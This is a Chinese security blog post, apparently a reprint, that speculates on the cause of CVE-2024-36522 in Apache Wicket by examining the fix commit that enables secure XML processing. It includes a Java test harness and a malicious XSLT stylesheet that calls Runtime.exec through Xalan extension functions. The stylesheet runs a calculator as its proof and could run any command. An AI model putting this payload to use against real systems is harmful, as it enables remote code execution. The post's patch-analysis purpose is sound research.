CVE-2024-36522 猜想

admin 2024年6月7日01:02:12评论30 views字数 2691阅读8分58秒阅读模式

注:以下内容非绝对准确,仅供参考。

复现测试

CVE-2024-36522 猜想

测试代码

package org.apache.wicket;import org.apache.wicket.util.file.File;import org.apache.wicket.util.resource.FileResourceStream;import org.apache.wicket.util.resource.IResourceStream;import org.apache.wicket.util.resource.XSLTResourceStream;/** * Hello world! * */public class App {    public static void main( String[] args ){//        IResourceStream resourceStream=new FileResourceStream(new File("/Users/msfcode/Projects/wicket/testModule/src/main/java/dtd1.xml"));        IResourceStream resourceStream=new FileResourceStream(new File("/Users/msfcode/Projects/wicket/testModule/src/main/java/test.xml"));//        IResourceStream xmlresourceStream=new FileResourceStream(new File("/Users/msfcode/Projects/wicket/testModule/src/main/java/dtd1.xml"));        IResourceStream xmlresourceStream=new FileResourceStream(new File("/Users/msfcode/Projects/wicket/testModule/src/main/java/test.xml"));        XSLTResourceStream stream = new XSLTResourceStream(resourceStream,xmlresourceStream);    }}// test.xml 参考:https://www.kingkk.com/2020/01/%E4%BB%8E%E6%BA%90%E7%A0%81%E5%B1%82%E9%9D%A2%E7%9C%8BXXE%E7%9A%84%E9%98%B2%E5%BE%A1/<?xml version="1.0" encoding="ISO-8859-1" ?><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:fo="http://www.w3.org/1999/XSL/Format">    <xsl:template match="CClienti">        <CClienti label="{{0}} Trasformato">            <xsl:variable name="abcd" select="Runtime:exec(Runtime:getRuntime(),'open -a Calculator')" xmlns:Runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"/>            <xsl:variable name="efgh" select="jv:getInputStream($abcd)" xmlns:jv="http://xml.apache.org/xalan/java"/>            <xsl:variable name="ijkl" select="isr:new($efgh)" xmlns:isr="http://xml.apache.org/xalan/java/java.io.InputStreamReader"/>            <xsl:variable name="mnop" select="br:new($ijkl)" xmlns:br="http://xml.apache.org/xalan/java/java.io.BufferedReader"/>            <xsl:value-of select="jv:readLine($mnop)" xmlns:jv="http://xml.apache.org/xalan/java"/>            <xsl:value-of select="jv:readLine($mnop)" xmlns:jv="http://xml.apache.org/xalan/java"/>        </CClienti>    </xsl:template>    <xsl:template match="@*|node()">        <xsl:copy>            <xsl:apply-templates select="@*|node()"/>        </xsl:copy>    </xsl:template></xsl:stylesheet>

分析

comapre大法,看见一条可疑的commit
https://github.com/apache/wicket/commit/bc7dcc3f5bfbb3a41ab407d53ba5e0af3d3453a0

CVE-2024-36522 猜想

可以看到核心代码逻辑就设置这个features(XMLConstants.FEATURE_SECURE_PROCESSING),经搜索,该features正是用于防御XXE,参考:https://github.com/LeadroyaL/java-xxe-defense-demo
CVE-2024-36522 猜想
当开启该安全选项后可以看到再次执行会提示“当安全处理功能设置为“真”时, 不允许使用扩展函数”

CVE-2024-36522 猜想

参考

https://github.com/LeadroyaL/java-xxe-defense-demo

https://www.kingkk.com/2020/01/%E4%BB%8E%E6%BA%90%E7%A0%81%E5%B1%82%E9%9D%A2%E7%9C%8BXXE%E7%9A%84%E9%98%B2%E5%BE%A1/

结语

俺太菜了,就看到这个比较可疑的点,没发现请求触发的路径。

当然也可能是我完全搞错了,就当看个乐子吧。

原文始发于微信公众号(安全之道):CVE-2024-36522 猜想

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月7日01:02:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2024-36522 猜想https://cn-sec.com/archives/2820876.html

发表评论

匿名网友 填写信息